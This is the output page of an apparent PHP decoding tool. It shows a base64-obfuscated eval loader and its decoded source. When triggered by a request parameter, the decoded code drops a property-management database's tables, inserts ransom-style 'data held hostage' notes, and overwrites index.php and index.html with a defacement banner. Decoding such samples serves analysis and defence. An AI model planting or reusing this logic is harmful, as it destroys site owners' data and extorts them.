Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode('PD9waHAgCmVjaG8gJ3Rlc3Rpbmcgb2JmdXNjYXRpb24uLi4nOwoKCmlmICh..
Decoded Output download
?>b'<?php
echo \'testing obfuscation...\';
if (isset($_REQUEST[\'deleteid\']) == \'kjB<V;\')
{
if (file_exists(\'./pms/inc/config.php\')) {
@include (\'./pms/inc/config.php\');
}
if (file_exists(\'./superadmin/inc/config.php\')) {
@include (\'./pms/inc/config.php\');
}
if (file_exists(\'./cms/inc/config.php\')) {
@include (\'./pms/inc/config.php\');
}
//drop all information
$remove1 = "DROP TABLE `accounts`, `addons`, `amenities`, `blocks`, `bookings`, `condominium`, `countryinfo`, `departments`, `facilities`, `floors`, `guests`, `hoteldetails`, `items`, `items_consumption`, `notification`, `property`, `rateplan`, `recent_activity`, `rooms`, `roomtax`, `roomtype`, `salutation`, `userlevel`, `superadmin_settings`;";
$conn->query($remove1);
///write to database
//start of for loop for the database.
$iiii = 1; $jjjj = 1; $kkkk = 1; $llll = 1;
for ($iiii = 1;$iiii < 11; $iiii++)
{
//reason for new create database
$create1 = "
CREATE TABLE `NONPAYMENTDATAHELDHOSTAGE".$jjjj++."` (
`heldhostagenonpayment` int(11) NOT NULL,
`reason` longtext NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
";
$conn->query($create1);
//insert data
$insert1 = "
INSERT INTO `NONPAYMENTDATAHELDHOSTAGE".$kkkk++."` (`heldhostagenonpayment`, `reason`) VALUES
(1, \'DATA IS NOW BEING HELD HOSTAGE - DUE TO NON PAYMENT - IF YOU WANT YOUR DATA BACK - MAKE ARRANGEMENTS FOR PAYMENT\'),
(2, \'DATA IS NOW BEING HELD HOSTAGE - DUE TO NON PAYMENT - IF YOU WANT YOUR DATA BACK - MAKE ARRANGEMENTS FOR PAYMENT\'),
(3, \'DATA IS NOW BEING HELD HOSTAGE - DUE TO NON PAYMENT - IF YOU WANT YOUR DATA BACK - MAKE ARRANGEMENTS FOR PAYMENT\'),
(4, \'DATA IS NOW BEING HELD HOSTAGE - DUE TO NON PAYMENT - IF YOU WANT YOUR DATA BACK - MAKE ARRANGEMENTS FOR PAYMENT\');
";
$conn->query($insert1);
//alter the tables
$alter1 = "ALTER TABLE `NONPAYMENTDATAHELDHOSTAGE".$llll++."` ADD PRIMARY KEY(`heldhostagenonpayment`);";
$conn->query($alter1);
} //end of for loop for the database
$txt = "<pre>
..ooo@@@XXX%%%xx..
.oo@@XXX%x%xxx.. ` .
.o@XX%%xx.. ` .
o@X%.. ..ooooooo
.@X%x. ..o@@^^ ^^@@o
.ooo@@@@@@ooo.. ..o@@^ @X%
o@@^^^ ^^^@@@ooo.oo@@^ %
xzI -*-- ^^^o^^ --*- %
@@@o ooooooo^@@^o^@X^@oooooo .X%x
I@@@@@@@@@XX%%xx ( o@o )X%x@ROMBASED@@@X%x
I@@@@XX%%xx oo@@@@X% @@X%x ^^^@@@@@@@X%x
@X%xx o@@@@@@@X% @@XX%%x ) ^^@X%x
^ xx o@@@@@@@@Xx ^ @XX%%x xxx
o@@^^^ooo I^^ I^o ooo . x
oo @^ IX I ^X @^ oo
IX U . V IX
V . . V
</pre><br /><br />
=========================================<br />
<H1>DATA HELD HOSTAGE - DUE TO NON PAYMENT</H1><br />
<H1>DATA HELD HOSTAGE - DUE TO NON PAYMENT</H1><br />
<H1>DATA HELD HOSTAGE - DUE TO NON PAYMENT</H1><br />
";
$myfile1 = fopen(\'index.php\', "w") or die("Unable to open file!");
fwrite($myfile1, $txt);
fclose($myfile1);
$myfile2 = fopen(\'index.html\', "w") or die("Unable to open file!");
fwrite($myfile2, $txt);
fclose($myfile2);
ECHO \'DONE...\';
} // end of if triggered
?>
'<?
Did this file decode correctly?
Original Code
<?php eval("?>".base64_decode('PD9waHAgCmVjaG8gJ3Rlc3Rpbmcgb2JmdXNjYXRpb24uLi4nOwoKCmlmIChpc3NldCgkX1JFUVVFU1RbJ2RlbGV0ZWlkJ10pID09ICdrakJcNTxWOycpCnsKaWYgKGZpbGVfZXhpc3RzKCcuL3Btcy9pbmMvY29uZmlnLnBocCcpKSB7CiAgICBAaW5jbHVkZSAoJy4vcG1zL2luYy9jb25maWcucGhwJyk7Cn0KaWYgKGZpbGVfZXhpc3RzKCcuL3N1cGVyYWRtaW4vaW5jL2NvbmZpZy5waHAnKSkgewogICAgQGluY2x1ZGUgKCcuL3Btcy9pbmMvY29uZmlnLnBocCcpOwp9CmlmIChmaWxlX2V4aXN0cygnLi9jbXMvaW5jL2NvbmZpZy5waHAnKSkgewogICAgQGluY2x1ZGUgKCcuL3Btcy9pbmMvY29uZmlnLnBocCcpOwp9CgovL2Ryb3AgYWxsIGluZm9ybWF0aW9uCiRyZW1vdmUxID0gIkRST1AgVEFCTEUgYGFjY291bnRzYCwgYGFkZG9uc2AsIGBhbWVuaXRpZXNgLCBgYmxvY2tzYCwgYGJvb2tpbmdzYCwgYGNvbmRvbWluaXVtYCwgYGNvdW50cnlpbmZvYCwgYGRlcGFydG1lbnRzYCwgYGZhY2lsaXRpZXNgLCBgZmxvb3JzYCwgYGd1ZXN0c2AsIGBob3RlbGRldGFpbHNgLCBgaXRlbXNgLCBgaXRlbXNfY29uc3VtcHRpb25gLCBgbm90aWZpY2F0aW9uYCwgYHByb3BlcnR5YCwgYHJhdGVwbGFuYCwgYHJlY2VudF9hY3Rpdml0eWAsIGByb29tc2AsIGByb29tdGF4YCwgYHJvb210eXBlYCwgYHNhbHV0YXRpb25gLCBgdXNlcmxldmVsYCwgYHN1cGVyYWRtaW5fc2V0dGluZ3NgOyI7CiRjb25uLT5xdWVyeSgkcmVtb3ZlMSk7CgovLy93cml0ZSB0byBkYXRhYmFzZQoJLy9zdGFydCBvZiBmb3IgbG9vcCBmb3IgdGhlIGRhdGFiYXNlLgoJJGlpaWkgPSAxOyAkampqaiA9IDE7ICRra2trID0gMTsgJGxsbGwgPSAxOwoJZm9yICgkaWlpaSA9IDE7JGlpaWkgPCAxMTsgJGlpaWkrKykKCXsKCS8vcmVhc29uIGZvciBuZXcgY3JlYXRlIGRhdGFiYXNlCgkkY3JlYXRlMSA9ICIKCUNSRUFURSBUQUJMRSBgTk9OUEFZTUVOVERBVEFIRUxESE9TVEFHRSIuJGpqamorKy4iYCAoCgkgIGBoZWxkaG9zdGFnZW5vbnBheW1lbnRgIGludCgxMSkgTk9UIE5VTEwsCgkgIGByZWFzb25gIGxvbmd0ZXh0IE5PVCBOVUxMCgkpIEVOR0lORT1Jbm5vREIgREVGQVVMVCBDSEFSU0VUPWxhdGluMTsKCSI7CgkkY29ubi0+cXVlcnkoJGNyZWF0ZTEpOwoKCS8vaW5zZXJ0IGRhdGEKCSRpbnNlcnQxID0gIgoJSU5TRVJUIElOVE8gYE5PTlBBWU1FTlREQVRBSEVMREhPU1RBR0UiLiRra2trKysuImAgKGBoZWxkaG9zdGFnZW5vbnBheW1lbnRgLCBgcmVhc29uYCkgVkFMVUVTIAoJKDEsICdEQVRBIElTIE5PVyBCRUlORyBIRUxEIEhPU1RBR0UgLSBEVUUgVE8gTk9OIFBBWU1FTlQgLSBJRiBZT1UgV0FOVCBZT1VSIERBVEEgQkFDSyAtIE1BS0UgQVJSQU5HRU1FTlRTIEZPUiBQQVlNRU5UJyksCgkoMiwgJ0RBVEEgSVMgTk9XIEJFSU5HIEhFTEQgSE9TVEFHRSAtIERVRSBUTyBOT04gUEFZTUVOVCAtIElGIFlPVSBXQU5UIFlPVVIgREFUQSBCQUNLIC0gTUFLRSBBUlJBTkdFTUVOVFMgRk9SIFBBWU1FTlQnKSwKCSgzLCAnREFUQSBJUyBOT1cgQkVJTkcgSEVMRCBIT1NUQUdFIC0gRFVFIFRPIE5PTiBQQVlNRU5UIC0gSUYgWU9VIFdBTlQgWU9VUiBEQVRBIEJBQ0sgLSBNQUtFIEFSUkFOR0VNRU5UUyBGT1IgUEFZTUVOVCcpLAoJKDQsICdEQVRBIElTIE5PVyBCRUlORyBIRUxEIEhPU1RBR0UgLSBEVUUgVE8gTk9OIFBBWU1FTlQgLSBJRiBZT1UgV0FOVCBZT1VSIERBVEEgQkFDSyAtIE1BS0UgQVJSQU5HRU1FTlRTIEZPUiBQQVlNRU5UJyk7CgkiOwoJJGNvbm4tPnF1ZXJ5KCRpbnNlcnQxKTsKCgkvL2FsdGVyIHRoZSB0YWJsZXMKCSRhbHRlcjEgPSAgIkFMVEVSIFRBQkxFIGBOT05QQVlNRU5UREFUQUhFTERIT1NUQUdFIi4kbGxsbCsrLiJgIEFERCBQUklNQVJZIEtFWShgaGVsZGhvc3RhZ2Vub25wYXltZW50YCk7IjsKCSRjb25uLT5xdWVyeSgkYWx0ZXIxKTsKfSAvL2VuZCBvZiBmb3IgbG9vcCBmb3IgdGhlIGRhdGFiYXNlCgokdHh0ID0gIjxwcmU+CiAgICAgICAgICAgICAuLm9vb0BAQFhYWCUlJXh4Li4KICAgICAgICAgIC5vb0BAWFhYJXgleHh4Li4gICAgIGAgLgogICAgICAgIC5vQFhYJSV4eC4uICAgICAgICAgICAgICAgYCAuCiAgICAgIG9AWCUuLiAgICAgICAgICAgICAgICAgIC4ub29vb29vbwogICAgLkBYJXguICAgICAgICAgICAgICAgICAuLm9AQF5eICAgXl5AQG8KICAub29vQEBAQEBAb29vLi4gICAgICAuLm9AQF4gICAgICAgICAgQFglCiAgb0BAXl5eICAgICBeXl5AQEBvb28ub29AQF4gICAgICAgICAgICAgJQogeHpJICAgIC0qLS0gICAgICBeXl5vXl4gICAgICAgIC0tKi0gICAgICUKIEBAQG8gICAgIG9vb29vb29eQEBeb15AWF5Ab29vb29vICAgICAuWCV4CklAQEBAQEBAQEBYWCUleHggICggb0BvIClYJXhAUk9NQkFTRURAQEBYJXgKSUBAQEBYWCUleHggIG9vQEBAQFglIEBAWCV4ICAgXl5eQEBAQEBAQFgleAogQFgleHggICAgIG9AQEBAQEBAWCUgQEBYWCUleCAgKSAgICBeXkBYJXgKICBeICAgeHggb0BAQEBAQEBAWHggIF4gQFhYJSV4ICAgIHh4eAogICAgICAgIG9AQF5eXm9vbyBJXl4gSV5vIG9vbyAgIC4gIHgKICAgICAgICBvbyBAXiBJWCAgICAgIEkgICBeWCAgQF4gb28KICAgICAgICBJWCAgICAgVSAgLiAgICAgICAgViAgICAgSVgKICAgICAgICAgViAgICAgLiAgICAgICAgICAgLiAgICAgVgo8L3ByZT48YnIgLz48YnIgLz4KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT08YnIgLz4KPEgxPkRBVEEgSEVMRCBIT1NUQUdFIC0gRFVFIFRPIE5PTiBQQVlNRU5UPC9IMT48YnIgLz4KPEgxPkRBVEEgSEVMRCBIT1NUQUdFIC0gRFVFIFRPIE5PTiBQQVlNRU5UPC9IMT48YnIgLz4KPEgxPkRBVEEgSEVMRCBIT1NUQUdFIC0gRFVFIFRPIE5PTiBQQVlNRU5UPC9IMT48YnIgLz4KIjsKCiRteWZpbGUxID0gZm9wZW4oJ2luZGV4LnBocCcsICJ3Iikgb3IgZGllKCJVbmFibGUgdG8gb3BlbiBmaWxlISIpOwpmd3JpdGUoJG15ZmlsZTEsICR0eHQpOwpmY2xvc2UoJG15ZmlsZTEpOyAKCiRteWZpbGUyID0gZm9wZW4oJ2luZGV4Lmh0bWwnLCAidyIpIG9yIGRpZSgiVW5hYmxlIHRvIG9wZW4gZmlsZSEiKTsKZndyaXRlKCRteWZpbGUyLCAkdHh0KTsKZmNsb3NlKCRteWZpbGUyKTsgCgpFQ0hPICdET05FLi4uJzsKfSAvLyBlbmQgb2YgaWYgdHJpZ2dlcmVkCgo/PgoKCgoKCgoKCgoKCg==')."<?");?>
Function Calls
| base64_decode | 1 |
Stats
| MD5 | 79fdf69e224bc9c72ad6f10d3784cdf0 |
| Eval Count | 1 |
| Decode Time | 143 ms |